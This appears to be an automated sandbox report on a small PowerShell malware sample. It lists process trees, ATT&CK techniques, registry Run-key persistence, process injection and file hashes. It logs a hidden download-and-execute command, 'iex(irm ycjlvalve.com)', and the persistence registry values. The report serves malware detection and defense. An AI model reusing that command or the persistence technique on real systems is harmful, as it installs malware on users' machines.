d720c70eb7a545bc1681ec12edddfb94caa42768aa81faf594477b8bc1328e18

Analysis

max time kernel
149s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 12:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ps.ps1
Size 118B
Sample260727-papsas1fkd
SHA256 d720c70eb7a545bc1681ec12edddfb94caa42768aa81faf594477b8bc1328e18
MD5 40253da8e83ab369df1bbdee532d8707
SHA1 79ee9c555eebfd7b23606128c2fd050ca5134b47
SHA512 f01cf3b527c3caf2d9f6604c3292ddd99a850bb2499fded521cc6bc3f6dbf0bbfe96f3a0c83153c8a8cb69a7d0ba3eaa450060c8d532c480f71409fdf05dcb45
TLSH
T16BB092102C60523FCF4FCE1A8299C2254C6A3111627582E17A618A19BE049AAD216549
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5992	powershell.exe
6	5992	powershell.exe
7	5992	powershell.exe
8	5992	powershell.exe
9	5992	powershell.exe
10	5992	powershell.exe
11	5992	powershell.exe
16	5992	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5992	powershell.exe
2508	PowerShell.exe
936	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
4644	git.exe
4600	git.exe
1200	DCRCVDrv.sys
2556	git.exe

Loads dropped DLL 23 IoCs

pid	Process
4644	git.exe
4644	git.exe
4644	git.exe
4644	git.exe
4644	git.exe
4644	git.exe
4644	git.exe
4600	git.exe
4600	git.exe
4600	git.exe
4600	git.exe
4600	git.exe
4600	git.exe
4600	git.exe
2556	git.exe
2556	git.exe
2556	git.exe
2556	git.exe
2556	git.exe
2556	git.exe
2556	git.exe
2556	git.exe
2556	git.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\cnfdbtf_wbq_gut_csq_bndet = "\"C:\\Users\\Admin\\AppData\\Local\\bmc_xxzgvrbmc_m_upd_cbhs0\\git.exe\""	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GitWinx86 = "cmd /c start \"\" /D \"C:\\ProgramData\\GitWinx86\" \"C:\\ProgramData\\GitWinx86\\git.exe\""	git.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GitWinx86 = "cmd /c start \"\" /D \"C:\\ProgramData\\GitWinx86\" \"C:\\ProgramData\\GitWinx86\\git.exe\""	git.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ifconfig.me
8	ifconfig.me

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4644 set thread context of 3848	4644	git.exe	104
PID 4600 set thread context of 5772	4600	git.exe	105
PID 2556 set thread context of 1096	2556	git.exe	106

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2508	PowerShell.exe
2508	PowerShell.exe
936	powershell.exe
936	powershell.exe
5992	powershell.exe
5992	powershell.exe
5772	installutil.exe
5772	installutil.exe
5772	installutil.exe
5772	installutil.exe
3848	installutil.exe
3848	installutil.exe
1096	installutil.exe
1096	installutil.exe
3848	installutil.exe
3848	installutil.exe
1096	installutil.exe
1096	installutil.exe
5772	installutil.exe
5772	installutil.exe
5772	installutil.exe
5772	installutil.exe
3848	installutil.exe
3848	installutil.exe
3848	installutil.exe
3848	installutil.exe
1096	installutil.exe
1096	installutil.exe
1096	installutil.exe
1096	installutil.exe
5772	installutil.exe
5772	installutil.exe
5772	installutil.exe
5772	installutil.exe
3848	installutil.exe
3848	installutil.exe
3848	installutil.exe
3848	installutil.exe
1096	installutil.exe
1096	installutil.exe
1096	installutil.exe
1096	installutil.exe
5772	installutil.exe
5772	installutil.exe
5772	installutil.exe
5772	installutil.exe
1096	installutil.exe
3848	installutil.exe
3848	installutil.exe
1096	installutil.exe
3848	installutil.exe
3848	installutil.exe
1096	installutil.exe
1096	installutil.exe
5772	installutil.exe
5772	installutil.exe
5772	installutil.exe
5772	installutil.exe
1096	installutil.exe
3848	installutil.exe
3848	installutil.exe
1096	installutil.exe
3848	installutil.exe
3848	installutil.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
832	Process not Found
832	Process not Found
832	Process not Found

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	PowerShell.exe
Token: SeDebugPrivilege	936	powershell.exe
Token: SeDebugPrivilege	5992	powershell.exe
Token: SeIncreaseQuotaPrivilege	5992	powershell.exe
Token: SeSecurityPrivilege	5992	powershell.exe
Token: SeTakeOwnershipPrivilege	5992	powershell.exe
Token: SeLoadDriverPrivilege	5992	powershell.exe
Token: SeSystemProfilePrivilege	5992	powershell.exe
Token: SeSystemtimePrivilege	5992	powershell.exe
Token: SeProfSingleProcessPrivilege	5992	powershell.exe
Token: SeIncBasePriorityPrivilege	5992	powershell.exe
Token: SeCreatePagefilePrivilege	5992	powershell.exe
Token: SeBackupPrivilege	5992	powershell.exe
Token: SeRestorePrivilege	5992	powershell.exe
Token: SeShutdownPrivilege	5992	powershell.exe
Token: SeDebugPrivilege	5992	powershell.exe
Token: SeSystemEnvironmentPrivilege	5992	powershell.exe
Token: SeRemoteShutdownPrivilege	5992	powershell.exe
Token: SeUndockPrivilege	5992	powershell.exe
Token: SeManageVolumePrivilege	5992	powershell.exe
Token: 33	5992	powershell.exe
Token: 34	5992	powershell.exe
Token: 35	5992	powershell.exe
Token: 36	5992	powershell.exe
Token: SeDebugPrivilege	3848	installutil.exe
Token: SeDebugPrivilege	5772	installutil.exe
Token: SeDebugPrivilege	1096	installutil.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 936	2508	PowerShell.exe	90
PID 936 wrote to memory of 5992	936	powershell.exe	91
PID 5992 wrote to memory of 4600	5992	powershell.exe	94
PID 1356 wrote to memory of 2556	1356	cmd.exe	101
PID 4644 wrote to memory of 3848	4644	git.exe	104
PID 4644 wrote to memory of 3848	4644	git.exe	104
PID 4644 wrote to memory of 3848	4644	git.exe	104
PID 4644 wrote to memory of 3848	4644	git.exe	104
PID 4644 wrote to memory of 3848	4644	git.exe	104
PID 4600 wrote to memory of 5772	4600	git.exe	105
PID 4600 wrote to memory of 5772	4600	git.exe	105
PID 4600 wrote to memory of 5772	4600	git.exe	105
PID 4600 wrote to memory of 5772	4600	git.exe	105
PID 4600 wrote to memory of 5772	4600	git.exe	105
PID 2556 wrote to memory of 1096	2556	git.exe	106
PID 2556 wrote to memory of 1096	2556	git.exe	106
PID 2556 wrote to memory of 1096	2556	git.exe	106
PID 2556 wrote to memory of 1096	2556	git.exe	106
PID 2556 wrote to memory of 1096	2556	git.exe	106

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ps.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Start-Process -WindowStyle Hidden powershell -Args '-ExecutionPolicy Bypass -c iex(irm ycjlvalve.com)'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -c iex(irm ycjlvalve.com)
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5992
  - - C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\git.exe
      "C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\git.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4600
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5772

C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\git.exe
"C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\git.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3848

C:\Windows\system32\cmd.exe
"cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
1⤵
- Suspicious use of WriteProcessMemory
PID:1356
- C:\ProgramData\GitWinx86\git.exe
  "C:\ProgramData\GitWinx86\git.exe""
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1096

C:\Windows\Temp\DCRCVDrv.sys
C:\Windows\Temp\DCRCVDrv.sys
1⤵
- Executes dropped EXE
PID:1200

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

msvcp140.dll

Path C:\ProgramData\GitWinx86\msvcp140.dll
Size 540KB
SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
MD5 4e3fa9bd90ef020c14359639dc19312b
SHA1 a51032ec39a292afda65b0e3053d4ff3e3241512
SHA512 3e3c62fe860199953cc87e0516b77f6a039f2563cb6b5cc48edc51f243e5ea8fd9b2e3239a089966c403f17a8b3766090bc7b827399cceb00a37bac970855e15
SSDEEP 12288:M0MrE03u1mHWV/I3z+bQEKZm+jWodEEV7X:M0p1F/IiQEKZm+jWodEENX
TLSH
T180C42A23F75906E0E195E3B8A1838702D7F17C5A8322E3C742EB955E2F577D0A63B690
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140_1.dll

Path C:\ProgramData\GitWinx86\vcruntime140_1.dll
Size 46KB
SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
MD5 03b43160d21c08de07a79d0a1c5ee81d
SHA1 0a449093006af667432b83303614b53b62fc0d05
SHA512 8b835205bf037b78144f0a4a78618a4e74ba087ac9916c83cb25aff266ddcf5c1b859a6e7c6fec2b57ffeee94fa2f52dd7f6e98c387a4ea7a3143fef6a9570b0
SSDEEP 768:BezSkbhNfI4fWLZyS/dPWxngU907N9z7RV80X9z+:2YZyuPWxn3Ivz7bDz+
TLSH
T1FC237E9293BC4086E89B8970C1DBDE57BD38B7D2576093CB1BA5E54C1E537C0E63832A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_wpusrebt.bks.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wpusrebt.bks.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

wfvexor_eq_ptlwdo.zip

Path C:\Users\Admin\AppData\Local\Temp\wfvexor_eq_ptlwdo.zip
Size 5.6MB
SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
MD5 c3cec70c65f28d3ecfd075af7ed0cdc0
SHA1 8a34ab30c6c4cc2c0e58c5765a78816628c81ce9
SHA512 1c7c623e0110d2d70212f654b69602b7434e87b15fc4a5296c58cebb2a4ecdda924cea0138d8024789349473594a629ad33d1b5e558bcd667c80c540fcb99b7f
SSDEEP 98304:vK0aBfy4p26C5DEWiKQdjl6zFqRuSh9csTNw4bY6mSU6oIBYTb1Zu4z5zLh3ruJr:YjbCxETKQd3RDh9jTu40FTTbXugbud
TLSH
T17A563342C478C5A8F195F87EAD6E94A8FA592101EC671FBF1F2502600C9F8C9F729678
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\VCRUNTIME140.dll
Size 120KB
SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
MD5 0d35c5e99871b4f02c490b9fd9dace34
SHA1 c2280e6285147cd8010becc0cd3a120fca0088e0
SHA512 114bc156655e0d3249b6f94af1da80528b6695630f548ab596dfb406f6ffcc65276c9f900b637ba9c244ba5a4331aa15d2de0672f6dcbd38cb49a206c100698b
SSDEEP 1536:a9pCUgtBAVcxStMXcfG8VwfmpcGLOI5Sv+vecbeQ6N7l9gEeza/yLzt:qyA+3EOfmpcGSdOecbeQ6Nx9Mqsp
TLSH
T1B9C37B4272B802FBC16BD274C292AE27FBB6B50687605BDF07AA86650F537D06D3C341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

git.exe

Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\git.exe
Size 4.2MB
SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
MD5 6ff84a2fb05d06f456578f5afa902945
SHA1 f60f869462fb6ef384f193e0e0b74e28d2aefbc6
SHA512 352428d1cb49ba194a076cb924435c2e941958c35e25d25e05de64bcf53f9d5c8712b389025c97997b968e03421c5c2aefc5dbd1b28b674d7a805bed5b696790
SSDEEP 49152:sQ/JXZZnKYimQ8SN0K3Y+kY0k7IOfSl+DBYx4CQ2Avwq8eKSIWLOFo5zOMcdFBmX:zo4IP7xW71dpTmO8lQJClxPPw6
TLSH
T112262907E2A360ECC96BC13996966732BA72F85801347E7F5694CB302F71E50572EF29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libiconv-2.dll

Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\libiconv-2.dll
Size 1.1MB
SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
MD5 987a6b7cd60f6c108550ebfc1771b911
SHA1 10ed03a50b0c5e4dc3acf6374328424474213fdb
SHA512 81a3d038bb4d95800febfa48fa478d4ee65e05abef190a27bd670bd2b154b07359b41964f063bfed5e8d3f5b40fb5666d0072f5f52595d93d5645295470437ce
SSDEEP 24576:SI1BAUZLY3wPKU7VbbTOZGavkg3NyeuQ6l9fH+fxr:F1BAUZLYgiU7IZGaXBuQQ9exr
TLSH
T14435CE62F3D3CB2BF263C6B0C96A5B26E427EC216B0605377664B3BC5D337A414C8566
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libintl-8.dll

Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\libintl-8.dll
Size 291KB
SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
MD5 edf8f1b85f2f01ff0a28a6a31c3e427d
SHA1 ff1bc2ec0a952a27b728f32c0c00c7c066097614
SHA512 41269d7ddc99104e950934e0eff78c306a8a73bdfb34a8535f133b0442001e489ba8a7a6b3d399a26f83982f8c83070afd8393ebb32cfc529549417be279e9ed
SSDEEP 6144:ZqvWcwWaX1Ziu21y+7DE4a0onJMFEdd+TuoJo:0WcOXow+8Wmiwd+TuoJo
TLSH
T1B5541907B247A9D9E153D5308987C7F5B973BC720BA0AAB726A0F33C2E318515B19B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libpcre2-8-0.dll

Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\libpcre2-8-0.dll
Size 701KB
SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
MD5 86f36fe5c094d844ac79cdd58dc6c8dd
SHA1 3484ac473e6a60920b26f6cad06fe0ec3bd34467
SHA512 22303f09216616bf7026d9cc5e8a788076d11107814dc1ec43fe0390116fdea58a5ed11b53652020576d8c6232a2cd524a23b4bb0455df1568763913da21e78e
SSDEEP 12288:c/94uwmMo7Q++CDdewFv4/iIhZ9SsChldffAf/fmjFUW8:c/Cy7BDd94/6sEXI3fmjFUW8
TLSH
T142E4D547F4E321E8CD36C175E7B732B2F53639E91035BDAE16A0C3322E139215A5AA1D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\libwinpthread-1.dll
Size 3.0MB
SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
MD5 9e4d0677fa7e5996bb0558558f8250e0
SHA1 9b8bfbb4cb8bd2ba0e9b0c16957bf54936ee254a
SHA512 0cf88c933e01854fef4a98e0465df08e12b3e6203bf47550b036e4fd28bd367ce8a74136344cad2d89df77a45ef19b0856db7ab326f7e580f77cffb635079d95
SSDEEP 49152:TCKosFyJxIG5oPVWk12JVB6iPQTUrrzAP11xy1rBLcyRGzaFjKWE5wtpFCzro1/G:CmOVnPQTUrrzAP11xy1rBLcyRGzaFjKD
TLSH
T121E5BF55A3D859E9D463DA349710E332C2B279634B75E08B0A9AC70A1F77D924F3FB02
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ucrtbase.dll

Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\ucrtbase.dll
Size 1.3MB
SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
MD5 ef62e9b3d7203f825dbf5dda8d4770c9
SHA1 7f1f99f61082c63a645cea72d41481928b4d19cb
SHA512 cb79d334af2c436cd62d0f4be8ef8f4f89c4590c666125fd26a218426079beadb9da8cc99cdc28fcef6c3574a4941592f85019aa642f71f1e7559f599b75233c
SSDEEP 24576:T9KcgsGAmTfFqSgdDWqNUF3Z7Nkqnjqo3JYj8Jszg8mxvSZX0ypapJDBL:T9KpUmTfFqSgdDPq3DjqI08JXpJD9
TLSH
T15C55AE6176AD01E9C1BFD13DC64B4606E9B2781503708ADB03E94E792E3BBE9177B321
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zlib1.dll

Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\zlib1.dll
Size 125KB
SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
MD5 30a31b969a3356efde11078dc635baa0
SHA1 331b61df1d5378809df58cbcfa292002d4adb06b
SHA512 66fc99ddc77df71ff01516f9b6a594987041f83e75e90fa62c74961c446d82a08ccee0ceafa5eaeb260a328a867a302a168777d69eff34de311b625619a51345
SSDEEP 3072:vGsOJXTFCi6G6Q8Kw3Ee+NFH+LdTGpaAt5kwxlZX7tmoh2NiDSR2F3e:+nSiBJe0FwGRUiOR2F3e
TLSH
T1B1C36B6BF6A364FEC6A7C17082E38BB1F031B81107246CBB9154D7752E20E50671DABD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DCRCVDrv.sys

Path C:\Windows\Temp\DCRCVDrv.sys
Size 137KB
SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
MD5 567c158ee0858f8e941d4ab7a6c18dbc
SHA1 47d922b0fd5d704025d14ef98ded46e74830a423
SHA512 f976cb8e9a2f0fc769e2e4345d18e1e9f01fdb1c4303eb20d94b625467e60ce20dd120e77a96d9ba498361dd6dc0066535404cb22cf99fc49607d1f35eaed2ab
SSDEEP 3072:6pEFTp46B6ETbeP/ItLK9Di8/4BQaeJzP:Y8Tp46B6EOLgBQX
TLSH
T10CD33A12A36550A4E977E2B8C6B65263EFF37861133547CF03608A654F23BE4B93A3D1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1200-133-0x0000000000010000-0x000000000003D000-memory.dmp

Download

memory/2508-10-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

Download

memory/2508-0-0x00007FFCD4BFF000-0x00007FFCD4C00000-memory.dmp

Download

memory/2508-16-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

Download

memory/2508-12-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

Download

memory/2508-11-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

Download

memory/2508-7-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

Download

memory/2508-6-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

Download

memory/2508-5-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

Download

memory/2508-4-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

Download

memory/2508-3-0x00000292D2DD0000-0x00000292D2DF2000-memory.dmp

Download

memory/2556-170-0x00007FF650C50000-0x00007FF6510BF000-memory.dmp

Download

memory/2556-174-0x00007FFCE00E0000-0x00007FFCE01FF000-memory.dmp

Download

memory/2556-171-0x00007FFCE9B20000-0x00007FFCE9B72000-memory.dmp

Download

memory/2556-173-0x00007FFCE9DC0000-0x00007FFCE9DE6000-memory.dmp

Download

memory/2556-172-0x00007FFCE6EB0000-0x00007FFCE6F66000-memory.dmp

Download

memory/3848-157-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/3848-176-0x0000000005000000-0x000000000502C000-memory.dmp

Download

memory/4600-168-0x00007FFCCD4D0000-0x00007FFCCD586000-memory.dmp

Download

memory/4600-169-0x00007FFCD9330000-0x00007FFCD9356000-memory.dmp

Download

memory/4600-166-0x00007FFCD5B70000-0x00007FFCD5BC2000-memory.dmp

Download

memory/4600-165-0x00007FFCCD900000-0x00007FFCCDA1F000-memory.dmp

Download

memory/4600-164-0x00007FF634A60000-0x00007FF634ECF000-memory.dmp

Download

memory/4644-162-0x00007FFCCD4D0000-0x00007FFCCD586000-memory.dmp

Download

memory/4644-158-0x00007FF634A60000-0x00007FF634ECF000-memory.dmp

Download

memory/4644-161-0x00007FFCD5B70000-0x00007FFCD5BC2000-memory.dmp

Download

memory/4644-159-0x00007FFCCD900000-0x00007FFCCDA1F000-memory.dmp

Download

memory/4644-160-0x00007FFCD9330000-0x00007FFCD9356000-memory.dmp

Download

memory/5772-246-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-222-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-2051-0x0000000006470000-0x0000000006A2A000-memory.dmp

Download

memory/5772-2050-0x0000000005E10000-0x0000000005EA2000-memory.dmp

Download

memory/5772-2049-0x00000000052E0000-0x0000000005346000-memory.dmp

Download

memory/5772-184-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-198-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-175-0x00000000025A0000-0x00000000025BA000-memory.dmp

Download

memory/5772-212-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-226-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-232-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-252-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-268-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-266-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-264-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-262-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-260-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-258-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-256-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-254-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-250-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-248-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-234-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-244-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-242-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-240-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-238-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-236-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-230-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-228-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-224-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-163-0x00000000005A0000-0x0000000000610000-memory.dmp

Download

memory/5772-220-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-218-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-216-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-214-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-210-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-208-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-206-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-204-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-202-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-200-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-196-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-195-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-193-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-190-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-188-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-186-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-182-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-180-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-178-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5772-177-0x0000000004D20000-0x0000000004D46000-memory.dmp

Download

memory/5992-31-0x000001FE7E500000-0x000001FE7E512000-memory.dmp

Download

memory/5992-29-0x000001FE7E4D0000-0x000001FE7E4DA000-memory.dmp

Download

memory/5992-20-0x000001FE7E560000-0x000001FE7E722000-memory.dmp

Download

